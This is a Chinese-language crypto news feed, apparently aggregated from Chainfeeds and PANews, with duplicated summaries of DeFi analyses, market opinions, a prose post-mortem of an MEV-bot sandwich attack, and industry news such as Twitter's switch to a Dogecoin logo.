    Chainfeeds 导读： Arbitrum 正在构建以太坊扩展解决方案，基于 Optimistic Rollups L2 是他们的旗舰产品，他们正在努力构建数百个 L2 的生态系统。加密货币 KOL DYOR 从代币经济学、DeFi 数据、NFT 数据等方面对 Arbitrum 进行了详细的基本面分析。 文章来源： https://twitter.com/dyorcryptoapp/status/1642847639925559296 文章作者： DYOR 观点： DYOR：代币经济学：超过 44% 的 ARB 供应量分配给团队 / 投资者，有 12 个月锁仓期，并且之后 3 年每月线性解锁。11.62% 的供应量空投给了早期用户。ARB 是一种治理代币，将用于参与 DAO 治理。【原文为英文】 内容来源 DYOR：L2 链：Arbitrum One 是使用 Arbitrum Rollup 技术创建的旗舰 L2 链。它专为 DeFi 特定用例而构建。Arbitrum NOVA 是一种超低成本的 L2 链，采用 anytrust 技术支持游戏和社交媒体用例。【原文为英文】 内容来源 DYOR：在 Arbitrum 上的 DeFi：协议数量：267；总 TVL：22 亿美元；顶级协议：GMX、Radiant、Camelot；市场份额：4.42%。在 Arbitrum 上的 NFT：销售额（30 天）：607 万美元；顶级市场：Trove、Opensea、TofuNFT ；顶级收藏品：Smol Brain, The Lost keys of chronos ；市场份额: 3%。【原文为英文】 内容来源  ( 2 min )
    市场观点：减半叙事再起，分析师一致看好比特币后市
    Chainfeeds 导读： 深潮 TechFlow 精选出各类知名交易员或者加密研究机构关于当前二级市场的观点，包括加密货币数据公司 Santiment、著名经济学家和加密分析师 Alex Krüger 等。 文章来源： https://www.techflowpost.com/article/detail_11644.html 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：加密货币分析师 Loma：比特币最终会突破 28,800 美元的阻力位，并预测比特币将在 4 月结束前突破至 38,000 美元。对于莱特币，正准备反弹至 100 美元的关键心理阻力位，并可能反弹至 140 美元。 内容来源 深潮 TechFlow：加密货币数据公司 Santiment：建议交易者密切关注前五大稳定币的市值，这些稳定币包括 USDT、USD Coin、Binance USD、Pax Dollar 和 Dai。比特币持续上升可能取决于按市值计算的前五大稳定币的增长。然而，比特币持有者需注意，在 2023 年最大的五笔比特币交易都发生在 3 月份，并且大型 BTC 持有者可能开始获利。 内容来源 深潮 TechFlow：著名经济学家和加密分析师 Alex Krüger：比特币现在作为一种资产扮演着不同的角色，用于财富保值、风险调整回报、交易和对冲法定系统。比特币从低点上涨 10 倍的可能性仍然存在，在下一个牛市高峰期价格将达到 150,000 美元左右。 内容来源  ( 2 min )
    市场观点：减半叙事再起，分析师一致看好比特币后市
    Chainfeeds 导读： 深潮 TechFlow 精选出各类知名交易员或者加密研究机构关于当前二级市场的观点，包括加密货币数据公司 Santiment、著名经济学家和加密分析师 Alex Krüger 等。 文章来源： https://www.techflowpost.com/article/detail_11644.html 文章作者： 深潮 TechFlow 观点： 深潮 TechFlow：加密货币分析师 Loma：比特币最终会突破 28,800 美元的阻力位，并预测比特币将在 4 月结束前突破至 38,000 美元。对于莱特币，正准备反弹至 100 美元的关键心理阻力位，并可能反弹至 140 美元。 内容来源 深潮 TechFlow：加密货币数据公司 Santiment：建议交易者密切关注前五大稳定币的市值，这些稳定币包括 USDT、USD Coin、Binance USD、Pax Dollar 和 Dai。比特币持续上升可能取决于按市值计算的前五大稳定币的增长。然而，比特币持有者需注意，在 2023 年最大的五笔比特币交易都发生在 3 月份，并且大型 BTC 持有者可能开始获利。 内容来源 深潮 TechFlow：著名经济学家和加密分析师 Alex Krüger：比特币现在作为一种资产扮演着不同的角色，用于财富保值、风险调整回报、交易和对冲法定系统。比特币从低点上涨 10 倍的可能性仍然存在，在下一个牛市高峰期价格将达到 150,000 美元左右。 内容来源  ( 2 min )
    【英文长推】Osmosis 新提案解析：能否拯救低迷币价
    Chainfeeds 导读： Cosmos 生态 DEX Osmosis 代币 OSMO 比价从 ATH 下降了 14 倍，而 Cosmos 代币 ATOM 仅下降了 4 倍。Osmosis 为此发布 3 个新提案，只在控制通货膨胀并鼓励质押。Cosmos 生态研究员 Le Tang 分析了新提案的作用和影响，并给出了长期的建议。 文章来源： https://twitter.com/LeThang137/status/1642896461225693185 文章作者： Le Thang 观点： Le Thang：提案 1：减少 50% 的排放，意味着通货膨胀会下降。结果：缩小质押者和持币者之间的差距；减少 OSMO 价格的波动。提案 2：调整排放比例。LP 从 45% 降为 20%，质押从 25% 上升至 50%。结果：质押 APR≥通货膨胀率；大部分 LP 池将与 OSMO 和超流态质押（superfluid staking）配对。【原文为英文】 内容来源 Le Thang：提案 3：超流态质押 OSMO 比例由 50% 上升至 75%。这将弥补 LP 的 APR，因为 LP 的奖励被严重削弱了（提案 2）。结果：由于 LP 池中的大部分 OSMO 将被超流态质押，所以整体质押 APR 将减少。总结：1. 减少通货膨胀以便稳定价格；2. 将通货膨胀的奖励分配给质押者。短期对质押者有力，但本质只是防止 OSMO 持有者收益被稀释。【原文为英文】 内容来源 Le Thang：可能的长期解决方案：1. 通过捕获 MEV、增加交易费用等为 OSMO 积累价值；2. 通过与其他团队或风险投资公司的场外交易换取稳定币储备，使社区池代币多样化。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Osmosis 新提案解析：能否拯救低迷币价
    Chainfeeds 导读： Cosmos 生态 DEX Osmosis 代币 OSMO 比价从 ATH 下降了 14 倍，而 Cosmos 代币 ATOM 仅下降了 4 倍。Osmosis 为此发布 3 个新提案，只在控制通货膨胀并鼓励质押。Cosmos 生态研究员 Le Tang 分析了新提案的作用和影响，并给出了长期的建议。 文章来源： https://twitter.com/LeThang137/status/1642896461225693185 文章作者： Le Thang 观点： Le Thang：提案 1：减少 50% 的排放，意味着通货膨胀会下降。结果：缩小质押者和持币者之间的差距；减少 OSMO 价格的波动。提案 2：调整排放比例。LP 从 45% 降为 20%，质押从 25% 上升至 50%。结果：质押 APR≥通货膨胀率；大部分 LP 池将与 OSMO 和超流态质押（superfluid staking）配对。【原文为英文】 内容来源 Le Thang：提案 3：超流态质押 OSMO 比例由 50% 上升至 75%。这将弥补 LP 的 APR，因为 LP 的奖励被严重削弱了（提案 2）。结果：由于 LP 池中的大部分 OSMO 将被超流态质押，所以整体质押 APR 将减少。总结：1. 减少通货膨胀以便稳定价格；2. 将通货膨胀的奖励分配给质押者。短期对质押者有力，但本质只是防止 OSMO 持有者收益被稀释。【原文为英文】 内容来源 Le Thang：可能的长期解决方案：1. 通过捕获 MEV、增加交易费用等为 OSMO 积累价值；2. 通过与其他团队或风险投资公司的场外交易换取稳定币储备，使社区池代币多样化。【原文为英文】 内容来源  ( 2 min )
    【英文】Cosmos 流动性质押模块如何解锁十亿级别资产流动性
    Chainfeeds 导读： 区块链研究机构 New Order 发文阐述 Cosmos 流动性质押模块（LSM）对生态的意义、与 LSM 的交互形式及其对模块化生态系统发展的期望。 文章来源： https://medium.com/neworderdao/the-cosmos-lsm-the-catalyst-for-interchain-defi-65a21573cf98 文章作者： New Order 观点： New Order：Cosmos 流动性质押模块（LSM）被设计为 Cosmos SDK 的模块化组件，这意味着任何 Cosmos 链都可以实现 LSM。借助 LSM，Cosmos 可以创建一个繁荣的 LSD 生态系统，保护跨多个 Cosmos 区域的应用程序，同时提供类似于以太坊和其他 L1 网络上的 LSD 的用户体验。【原文为英文】 内容来源 New Order：Cosmos LSM 的影响：1. 新治理市场和原语；2. 新类型的 LSD；3. 新的资产灵活性；4. 基于 LSD 的扩展应用；5. 阶梯的流动性收益；6. 提高安全性。目前有超过 32 亿美元的 Cosmos 质押资产从未真正流动过，LSM 将打破这个僵局。【原文为英文】 内容来源 New Order：与 LSM 交互方式：LSM 将主要用于与链间账户（IA）和链间查询（ICQ）交互。其中，IA（ICS-27）通过允许不同链上的智能合约之间交换数据和状态来实现可组合性。ICQ 使模块能够使用链间通信（IBC）和链间账户（IA）查询其他应用链。除了查询资产外，ICQ 还可以根据用户在其他链上持有的代币为其分配适当的治理权。【原文为英文】 内容来源  ( 12 min )
    【英文】Cosmos 流动性质押模块如何解锁十亿级别资产流动性
    Chainfeeds 导读： 区块链研究机构 New Order 发文阐述 Cosmos 流动性质押模块（LSM）对生态的意义、与 LSM 的交互形式及其对模块化生态系统发展的期望。 文章来源： https://medium.com/neworderdao/the-cosmos-lsm-the-catalyst-for-interchain-defi-65a21573cf98 文章作者： New Order 观点： New Order：Cosmos 流动性质押模块（LSM）被设计为 Cosmos SDK 的模块化组件，这意味着任何 Cosmos 链都可以实现 LSM。借助 LSM，Cosmos 可以创建一个繁荣的 LSD 生态系统，保护跨多个 Cosmos 区域的应用程序，同时提供类似于以太坊和其他 L1 网络上的 LSD 的用户体验。【原文为英文】 内容来源 New Order：Cosmos LSM 的影响：1. 新治理市场和原语；2. 新类型的 LSD；3. 新的资产灵活性；4. 基于 LSD 的扩展应用；5. 阶梯的流动性收益；6. 提高安全性。目前有超过 32 亿美元的 Cosmos 质押资产从未真正流动过，LSM 将打破这个僵局。【原文为英文】 内容来源 New Order：与 LSM 交互方式：LSM 将主要用于与链间账户（IA）和链间查询（ICQ）交互。其中，IA（ICS-27）通过允许不同链上的智能合约之间交换数据和状态来实现可组合性。ICQ 使模块能够使用链间通信（IBC）和链间账户（IA）查询其他应用链。除了查询资产外，ICQ 还可以根据用户在其他链上持有的代币为其分配适当的治理权。【原文为英文】 内容来源  ( 12 min )
    IOSG 周报：从存储到计算，去中心化存储复兴
    Chainfeeds 导读： IOSG 新一期周报探讨了去中心化存储中的代表项目 Filecoin 和 Arweave，从二者对去中心化存储的实现、存储数据冗余、数据检索的解决方案，分析了项目的异同，并简述了中心化存储的发展现状和方向。 文章来源： https://mp.weixin.qq.com/s/Lc-uV4ot97GrjG6gPnex1w 文章作者： IOSG Ventures 观点： IOSG Ventures：Filecoin 和 IPFS 在遍布世界各地的存储供应商之间分发内容寻址的（content-addressed）数据集，以增加数据的冗余性和弹性。Filecoin 上 EVM 兼容的 FVM 提出了边缘计算（edge computation）结合链上协调执行计算的方案，对存储供应商的工作进行激励。 内容来源 IOSG Ventures：Arweave 上的去中心化计算通过 SmartWeave 智能合约协议实现，具备直接处理丰富数据的能力。Arweave 协议设计从技术上保证永久存储的实现，更适用于高价值数字资产，如 NFT metadata 的保存。 内容来源 IOSG Ventures：存储数据冗余：Filecoin 诉诸经济激励手段，Arweave 则借助协议设计。数据检索：Filecoin 中数据检索服务是一套单独的经济激励系统，Arweave 的 SPoRA 共识机制除了上述永久存储和存储冗余的优点，也一石三鸟地提高了数据检索和访问速度。 内容来源  ( 33 min )
    IOSG 周报：从存储到计算，去中心化存储复兴
    Chainfeeds 导读： IOSG 新一期周报探讨了去中心化存储中的代表项目 Filecoin 和 Arweave，从二者对去中心化存储的实现、存储数据冗余、数据检索的解决方案，分析了项目的异同，并简述了中心化存储的发展现状和方向。 文章来源： https://mp.weixin.qq.com/s/Lc-uV4ot97GrjG6gPnex1w 文章作者： IOSG Ventures 观点： IOSG Ventures：Filecoin 和 IPFS 在遍布世界各地的存储供应商之间分发内容寻址的（content-addressed）数据集，以增加数据的冗余性和弹性。Filecoin 上 EVM 兼容的 FVM 提出了边缘计算（edge computation）结合链上协调执行计算的方案，对存储供应商的工作进行激励。 内容来源 IOSG Ventures：Arweave 上的去中心化计算通过 SmartWeave 智能合约协议实现，具备直接处理丰富数据的能力。Arweave 协议设计从技术上保证永久存储的实现，更适用于高价值数字资产，如 NFT metadata 的保存。 内容来源 IOSG Ventures：存储数据冗余：Filecoin 诉诸经济激励手段，Arweave 则借助协议设计。数据检索：Filecoin 中数据检索服务是一套单独的经济激励系统，Arweave 的 SPoRA 共识机制除了上述永久存储和存储冗余的优点，也一石三鸟地提高了数据检索和访问速度。 内容来源  ( 33 min )
    【英文】Aave 战略负责人：浅谈去中心化的四个阶段
    Chainfeeds 导读： Aave 战略负责人 Marc Zeller 探讨了去中心化的四个主要阶段的特征，以及 dApp 和 DAO 在这四个阶段的演变路径。他认为，从第 3 阶段跨越到第 4 阶段非常困难，项目方应重点建设第 3 阶段。 文章来源： https://aavechan.notion.site/aavechan/The-Decentralization-Journey-53e9ae37f3ac42809e92b7007ff91a7f 文章作者： Marc Zeller 观点： Marc Zeller：阶段 1 专制。团队几乎拥有完全的控制权，几乎没有制衡。虽然这对一个应用程序来说似乎是错误的，但这是一个非常有效的阶段，可以建立 MVP 和交付，以试图达到 PMF。在阶段 1，代币持有人对决策的影响有限，主要是作为项目的支持者。【原文为英文】 内容来源 Marc Zeller：阶段 2 寡头。随着 dApp 进展到寡头阶段，去中心化开始形成。这个阶段通常是在融资之后，代币供应集中于早期投资者。寡头阶段是在保持效率的同时逐步引入去中心化的一个微妙平衡。代币持有者开始在治理方面获得更多的权力，这个阶段的主要目标是为进入成熟的 DAO 阶段奠定基础。【原文为英文】 内容来源 Marc Zeller：阶段 3 成熟 DAO。在该阶段，项目演变为流动性为代表的民主体。只有当代币供应的分布足以冲淡第二阶段寡头的影响时，才能实现这一阶段。另一条路径是寡头将他们的投票权委托给独立的代表，这些代表拥有越来越大的决策自由度。【原文为英文】 内容来源 Marc Zeller：阶段 4 无状态。该阶段适合完全成熟的项目，或是小的 DeFi 「乐高块」。目前，LUSD、以太坊和比特币是我认为的第四阶段的唯一重要角色。【原文为英文】 内容来源
    【英文】Aave 战略负责人：浅谈去中心化的四个阶段
    Chainfeeds 导读： Aave 战略负责人 Marc Zeller 探讨了去中心化的四个主要阶段的特征，以及 dApp 和 DAO 在这四个阶段的演变路径。他认为，从第 3 阶段跨越到第 4 阶段非常困难，项目方应重点建设第 3 阶段。 文章来源： https://aavechan.notion.site/aavechan/The-Decentralization-Journey-53e9ae37f3ac42809e92b7007ff91a7f 文章作者： Marc Zeller 观点： Marc Zeller：阶段 1 专制。团队几乎拥有完全的控制权，几乎没有制衡。虽然这对一个应用程序来说似乎是错误的，但这是一个非常有效的阶段，可以建立 MVP 和交付，以试图达到 PMF。在阶段 1，代币持有人对决策的影响有限，主要是作为项目的支持者。【原文为英文】 内容来源 Marc Zeller：阶段 2 寡头。随着 dApp 进展到寡头阶段，去中心化开始形成。这个阶段通常是在融资之后，代币供应集中于早期投资者。寡头阶段是在保持效率的同时逐步引入去中心化的一个微妙平衡。代币持有者开始在治理方面获得更多的权力，这个阶段的主要目标是为进入成熟的 DAO 阶段奠定基础。【原文为英文】 内容来源 Marc Zeller：阶段 3 成熟 DAO。在该阶段，项目演变为流动性为代表的民主体。只有当代币供应的分布足以冲淡第二阶段寡头的影响时，才能实现这一阶段。另一条路径是寡头将他们的投票权委托给独立的代表，这些代表拥有越来越大的决策自由度。【原文为英文】 内容来源 Marc Zeller：阶段 4 无状态。该阶段适合完全成熟的项目，或是小的 DeFi 「乐高块」。目前，LUSD、以太坊和比特币是我认为的第四阶段的唯一重要角色。【原文为英文】 内容来源
    【英文长推】PancakeSwap V3 新功能解析：哪些升级值得期待
    Chainfeeds 导读： 去中心化交易平台 PancakeSwap 宣布已经在以太坊和 BNB Chain 网络上线 V3 版本。PancakeSwap V3 作为 Uniswap V3 的分叉，在整合了 Uniswap V3 高资本效率的同时，也增强了用户体验。加密 KOL Ignas 对 PancakeSwap V3 的新功能进行了解析。 文章来源： https://twitter.com/DefiIgnas/status/1642940267442630657 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：PancakeSwap 改善了 Uniswap V3 的两个痛点：1. 自动 APR 显示。它为 V3 LP 提供基于流动性、历史交易量和头寸配置的实时 APR 数据，消除了对第三方工具的需求。2. 改进的投资回报率计算器。它使 LP 能够估计收益率和无常损失，从而轻松调整头寸。此外，PancakeSwap 还将推出自动头寸管理器，实现一键存入流动性，并将流动性维持在一定范围内，从而便捷地赚取奖励。【原文为英文】 内容来源 Ignas | DeFi Research：另外两项有用的升级包括：先进的内置限价单（即将推出）、整合了 V3、V2、StableSwap 和做市商的流动性。PancakeSwap 还支持 0.01%、0.05%、0.25% 和 1% 交易费用层级。总言之，PancakesSwap V3 改善了散户的用户体验，且同时受益于 Uni V3 的资本效率。【原文为英文】 内容来源  ( 2 min )
    【英文长推】PancakeSwap V3 新功能解析：哪些升级值得期待
    Chainfeeds 导读： 去中心化交易平台 PancakeSwap 宣布已经在以太坊和 BNB Chain 网络上线 V3 版本。PancakeSwap V3 作为 Uniswap V3 的分叉，在整合了 Uniswap V3 高资本效率的同时，也增强了用户体验。加密 KOL Ignas 对 PancakeSwap V3 的新功能进行了解析。 文章来源： https://twitter.com/DefiIgnas/status/1642940267442630657 文章作者： Ignas | DeFi Research 观点： Ignas | DeFi Research：PancakeSwap 改善了 Uniswap V3 的两个痛点：1. 自动 APR 显示。它为 V3 LP 提供基于流动性、历史交易量和头寸配置的实时 APR 数据，消除了对第三方工具的需求。2. 改进的投资回报率计算器。它使 LP 能够估计收益率和无常损失，从而轻松调整头寸。此外，PancakeSwap 还将推出自动头寸管理器，实现一键存入流动性，并将流动性维持在一定范围内，从而便捷地赚取奖励。【原文为英文】 内容来源 Ignas | DeFi Research：另外两项有用的升级包括：先进的内置限价单（即将推出）、整合了 V3、V2、StableSwap 和做市商的流动性。PancakeSwap 还支持 0.01%、0.05%、0.25% 和 1% 交易费用层级。总言之，PancakesSwap V3 改善了散户的用户体验，且同时受益于 Uni V3 的资本效率。【原文为英文】 内容来源  ( 2 min )
    【英文长推】复盘 MEV 机器人「黑吃黑」事件：攻击者如何诱导三明治攻击
    Chainfeeds 导读： 4 月 3 日，多个 MEV 机器人遭受恶意三明治攻击，损失约 2500 万美元。区块链安全机构 BlockSec 复盘了该事件，并发现攻击者使用了「蜜罐交易」（honeypot tx）来诱导 MEV 机器人进行强交易，且该「蜜罐交易」拥有一个自我保护的机制。 文章来源： https://twitter.com/BlockSecTeam/status/1642971478458249227 文章作者： BlockSec 观点： BlockSec：蜜罐交易：攻击者使用了了 8 个蜜罐交易诱导 MEV 机器人进行套利。以其中一个为例，攻击者在一个流动性较差的池子中使用 0.35 ETH 兑换 158 STG。这笔交易被 MEV 机器人捕获，并花费 2454 ETH 耗尽该池的 STG。攻击者预先知道他将是 16964664 区块的矿工，因此他使用反向交易替换了中间交易，并提取了资金池中由 MEV 机器人添加的 ETH。【原文为英文】 内容来源 BlockSec：自我保护：此外，蜜罐交易有一个自我保护机制。假设没有三明治交易来攻击蜜罐交易，攻击者将检查池子的状态，并进行反向交易来保护自己的 0.35 个 ETH。【原文为英文】 内容来源 Beosin：总结：一是因为攻击者利用 MEVbot 相关 Bug，这是攻击能够完成的主要原因。二是因为 MEV 每次在低流动性池中套利仍然会使用自身所有的资金，这是攻击损失如此大的可能原因。三是因为在 Uniswap V3 中可以用少量资金获得同样的代币，而其价值在 V2 池中已经被操纵失衡，这是攻击中使用的主要手法。 内容来源  ( 2 min )
    【英文长推】复盘 MEV 机器人「黑吃黑」事件：攻击者如何诱导三明治攻击
    Chainfeeds 导读： 4 月 3 日，多个 MEV 机器人遭受恶意三明治攻击，损失约 2500 万美元。区块链安全机构 BlockSec 复盘了该事件，并发现攻击者使用了「蜜罐交易」（honeypot tx）来诱导 MEV 机器人进行强交易，且该「蜜罐交易」拥有一个自我保护的机制。 文章来源： https://twitter.com/BlockSecTeam/status/1642971478458249227 文章作者： BlockSec 观点： BlockSec：蜜罐交易：攻击者使用了了 8 个蜜罐交易诱导 MEV 机器人进行套利。以其中一个为例，攻击者在一个流动性较差的池子中使用 0.35 ETH 兑换 158 STG。这笔交易被 MEV 机器人捕获，并花费 2454 ETH 耗尽该池的 STG。攻击者预先知道他将是 16964664 区块的矿工，因此他使用反向交易替换了中间交易，并提取了资金池中由 MEV 机器人添加的 ETH。【原文为英文】 内容来源 BlockSec：自我保护：此外，蜜罐交易有一个自我保护机制。假设没有三明治交易来攻击蜜罐交易，攻击者将检查池子的状态，并进行反向交易来保护自己的 0.35 个 ETH。【原文为英文】 内容来源 Beosin：总结：一是因为攻击者利用 MEVbot 相关 Bug，这是攻击能够完成的主要原因。二是因为 MEV 每次在低流动性池中套利仍然会使用自身所有的资金，这是攻击损失如此大的可能原因。三是因为在 Uniswap V3 中可以用少量资金获得同样的代币，而其价值在 V2 池中已经被操纵失衡，这是攻击中使用的主要手法。 内容来源  ( 2 min )
    数据：Uniswap 的现货市场交易量突破 700 亿美元，超 Coinbase
    数据：Uniswap 的现货市场交易量突破 700 亿美元，超 Coinbase 据 The Block Research 数据，Uniswap 的现货市场交易量自 2022 年 1 月以来首次超过 700 亿美元，再次击败 Coinbase。3 月份 Uniswap 的现货市场交易量达到 716 亿美元 —— 比 Coinbase 高出 45%。Coinbase 3 月的交易量为 494 亿美元，高于 2 月份的 400 亿美元。Coinbase 的交易量连续第二个月低于去中心化交易所 Uniswap。 内容来源  ( 156 min )
    数据：Uniswap 的现货市场交易量突破 700 亿美元，超 Coinbase
    数据：Uniswap 的现货市场交易量突破 700 亿美元，超 Coinbase 据 The Block Research 数据，Uniswap 的现货市场交易量自 2022 年 1 月以来首次超过 700 亿美元，再次击败 Coinbase。3 月份 Uniswap 的现货市场交易量达到 716 亿美元 —— 比 Coinbase 高出 45%。Coinbase 3 月的交易量为 494 亿美元，高于 2 月份的 400 亿美元。Coinbase 的交易量连续第二个月低于去中心化交易所 Uniswap。 内容来源  ( 156 min )
    Arbitrum AIP-1 提案未获投票通过，反对率近 77%
    Arbitrum AIP-1 提案未获投票通过，反对率近 77% Snapshot 投票页面显示，Arbitrum 基金会发起的综合治理包 Arbitrum 改进提案（AIP-1）投票未获通过，反对票占比达 76.67%。 Arbitrum 基金会在社区的强力反对下，拟将 AIP-1 提案分解为一系列单独的提案投票，并且承诺将在本周对该提案的每个部分进行重新修改，据悉 7.5 亿枚 ARB Token 的分配或将进行独立投票，同时为「生态系统发展基金」提供提供有关如何使用资金的背景信息和一份于基金会预算的「透明度报告」。 内容来源
    Arbitrum AIP-1 提案未获投票通过，反对率近 77%
    Arbitrum AIP-1 提案未获投票通过，反对率近 77% Snapshot 投票页面显示，Arbitrum 基金会发起的综合治理包 Arbitrum 改进提案（AIP-1）投票未获通过，反对票占比达 76.67%。 Arbitrum 基金会在社区的强力反对下，拟将 AIP-1 提案分解为一系列单独的提案投票，并且承诺将在本周对该提案的每个部分进行重新修改，据悉 7.5 亿枚 ARB Token 的分配或将进行独立投票，同时为「生态系统发展基金」提供提供有关如何使用资金的背景信息和一份于基金会预算的「透明度报告」。 内容来源
    PancakeSwap 在以太坊和 BNB Chain 推出 V3 版本
    PancakeSwap 在以太坊和 BNB Chain 推出 V3 版本 去中心化交易平台 PancakeSwap 宣布已经在以太坊和 BNB Chain 网络上线 V3 版本。PancakeSwap V3 将引入 0.01%、0.05%、0.25% 和 1% 四个等级的交易费，并通过将资金集中在交易最活跃的价格范围内，从而降低交易滑点。 内容来源  ( 33 min )
    PancakeSwap 在以太坊和 BNB Chain 推出 V3 版本
    PancakeSwap 在以太坊和 BNB Chain 推出 V3 版本 去中心化交易平台 PancakeSwap 宣布已经在以太坊和 BNB Chain 网络上线 V3 版本。PancakeSwap V3 将引入 0.01%、0.05%、0.25% 和 1% 四个等级的交易费，并通过将资金集中在交易最活跃的价格范围内，从而降低交易滑点。 内容来源  ( 33 min )
    KuCoin Wallet 更名为 Halo Wallet 并完成首轮融资
    KuCoin Wallet 更名为 Halo Wallet 并完成首轮融资 KuCoin Wallet 发布公告称已更名为 Halo Wallet，并已正式从 KuCoin Group 中分离，今后将独立运营。同时，Halo Wallet 还宣布已获得 KuCoin Ventures、IDG、HashKey Capital 等参投的首轮融资。Halo Wallet 表示，此次品牌重塑标志着其从 Web3 钱包扩展到更广泛的 SocialFi 生态系统。 内容来源 观点： Jeff Haul（Halo Wallet 负责人）：去中心化钱包是 Web3 最重要的用户入口。更名后的 Halo Wallet 提供丰富的社交功能，帮助用户全面塑造社交身份，使用户能够从社交网络中发现优质信息和机会，让用户享受 Web3 带来的好处。【原文为英文】 内容来源  ( 6 min )
    KuCoin Wallet 更名为 Halo Wallet 并完成首轮融资
    KuCoin Wallet 更名为 Halo Wallet 并完成首轮融资 KuCoin Wallet 发布公告称已更名为 Halo Wallet，并已正式从 KuCoin Group 中分离，今后将独立运营。同时，Halo Wallet 还宣布已获得 KuCoin Ventures、IDG、HashKey Capital 等参投的首轮融资。Halo Wallet 表示，此次品牌重塑标志着其从 Web3 钱包扩展到更广泛的 SocialFi 生态系统。 内容来源 观点： Jeff Haul（Halo Wallet 负责人）：去中心化钱包是 Web3 最重要的用户入口。更名后的 Halo Wallet 提供丰富的社交功能，帮助用户全面塑造社交身份，使用户能够从社交网络中发现优质信息和机会，让用户享受 Web3 带来的好处。【原文为英文】 内容来源  ( 6 min )
    Twitter 将网页端 Logo 改为狗狗币 Logo
    Twitter 将网页端 Logo 改为狗狗币 Logo Twitter 网页端左上角 Logo 图标已更换为狗狗币 Logo，推特网页载入界面也变为狗狗币 Logo。此外，推特 CEO Elon Musk 发布狗狗币表情包，称推特原 Logo 为「旧的图片」。推特此举造成狗狗币价格大幅上涨，24 小时最高涨幅超 28%。 内容来源  ( 2 min )
    Twitter 将网页端 Logo 改为狗狗币 Logo
    Twitter 将网页端 Logo 改为狗狗币 Logo Twitter 网页端左上角 Logo 图标已更换为狗狗币 Logo，推特网页载入界面也变为狗狗币 Logo。此外，推特 CEO Elon Musk 发布狗狗币表情包，称推特原 Logo 为「旧的图片」。推特此举造成狗狗币价格大幅上涨，24 小时最高涨幅超 28%。 内容来源  ( 2 min )

  • Open

    Cosmos LSM：跨链 DeFi 的催化剂，流动性质押的模块化解决方案
    Cosmos LSM：跨链 DeFi 的催化剂，流动性质押的模块化解决方案 – 深潮TechFlow 本文将探讨 Cosmos Liquid Staking Module（LSM）及其交互的影响，以及模块化生态系统发展的预期。 Read the full entry  ( 4 min )
    Cosmos LSM：跨链 DeFi 的催化剂，流动性质押的模块化解决方案
    Cosmos LSM：跨链 DeFi 的催化剂，流动性质押的模块化解决方案 – 深潮TechFlow 本文将探讨 Cosmos Liquid Staking Module（LSM）及其交互的影响，以及模块化生态系统发展的预期。 Read the full entry  ( 4 min )
    深入去中心化媒体：区块链技术与第四产业的过去、现在和未来
    深入去中心化媒体：区块链技术与第四产业的过去、现在和未来 – 深潮TechFlow 比特币最初的主要功能是作为一种金融工具，但其与媒体行业的联系从一开始就显而易见。 Read the full entry  ( 5 min )
    深入去中心化媒体：区块链技术与第四产业的过去、现在和未来
    深入去中心化媒体：区块链技术与第四产业的过去、现在和未来 – 深潮TechFlow 比特币最初的主要功能是作为一种金融工具，但其与媒体行业的联系从一开始就显而易见。 Read the full entry  ( 5 min )

  • Open

    马斯克发布一条附带“SeizeJPGs” NFT图片的推文
    PANews 4月4日消息，在将推特LOGO更改为DOGE狗狗头像之后，马斯克（Elon Musk）又在推特上发布了一张来自Punk 6259推出的Meme Card系列中的“SeizeJPGs” NFT。马斯克的相关举动也推高了DOGE和SeizeJPGs价格，在推特更改LOGO后不久，狗狗币DOGE的价格飙升了近30%，而在这条“SeizeJPGs” 推文发布后的几分钟内，该作品在OpenSea上交易价格就从三天前的0.5 ETH飙升到超过2 ETH，本文撰写时达到2.1 ETH。  ( 1 min )
    Coinbase研报：美国银行系统动荡刺激比特币表现优异
    PANews 4月4日消息，据CoinDesk报道，加密交易所Coinbase 在一份最新研究报告中表示，面对最近美国银行体系的动荡，加密货币市场表现出了弹性，比特币(BTC)的表现尤其突出。Coinbase指出，自2月中旬以来，比特币的表现优于其他资产，比特币在加密货币总市值所占份额从3月份的43.9%上升至47.7%。Coinbase表示，比特币的这种优异表现在本月初加速，当时正值美国银行体系动荡开始。报告中称，“部分原因是银行系统的压力增强了比特币的价值存储属性”，而且由于比特币主要存在于传统金融体系之外，“它提供了对当前状况的对冲”。分析师David Duong和Brian Cubellis补充表示，比特币还受益于投资者对其他加密货币监管状况的担忧。报告中数据显示，比特币与标普500指数的相关性从去年5月70%的峰值降至今年3月底的25%。  ( 1 min )
    a16z crypto任命前谷歌高管为运营合伙人
    PANews 4月4日消息，据The Block报道，前谷歌高管Jason Rosenthal已被任命为a16z crypto运营合伙人，领导其投资组合业务。Rosenthal此前负责谷歌面向消费者的订阅服务。据悉，Rosenthal与a16z有着长期的联系，a16z创始人Ben Horowitz曾对他进行过培训。Rosenthal在上世纪90年代曾在a16z创始人Marc Andreessen创办的网景通信公司担任项目经理，随后他被Horowitz和Andreessen聘为Loudcloud的首名员工。  ( 1 min )
    标普全球正在招聘DeFi总监
    PANews 4月4日消息，据The Block报道，根据一份最新的招聘启事，标普全球（S&P Global）正在寻找一名DeFi总监，帮助DeFi团队建立和实施战略。该职位将向标普首席DeFi官Chuck Mounts汇报。潜在候选人除了需要了解标普全球的业务和产品线外，还应该“在加密金融和DeFi领域拥有丰富经验”。该职位的薪酬范围在107100美元至212975美元之间。据悉标普全球的DeFi团队覆盖区块链、Web3和元宇宙以及去中心化金融。  ( 1 min )
    币安否认“国际刑警组织向赵长鹏发出红色通缉令”的传言
    PANews 4月4日消息，据The Block报道，针对推特上有关“国际刑警组织向赵长鹏发出红色通缉令”的传言，币安发言人在电子邮件声明中表示，“这个谣言不是真的”。赵长鹏也在推特作出回应，称网上流传的通缉令是PS过的照片，并建议用户屏蔽FUD来源。  ( 1 min )
    数据：3月份比特币矿工收入增加20%
    PANews 4月4日消息，The Block数据显示，3月份比特币矿工共收入7.554亿美元，较2月份（6.135亿美元）增加约20%。其中大部分是区块奖励，交易费用收入为2347万美元。由于加密市场疲软，矿工收入在去年11月和12月降至约4.7亿美元，但最近几个月呈上升趋势。  ( 1 min )
    推特网页Logo变更为狗狗币表情，狗狗币日内上涨超过20%
    PANews 4月4日消息，推特网页Logo从蓝鸟变更为狗狗币表情头像。随后马斯克推特发布含有狗狗币表情的照片。狗狗币短线拉升，目前报0.09452美元，24小时上涨超过20%。  ( 1 min )
    WonderFi、Coinsquare和CoinSmart等三家加密交易所公布合并计划
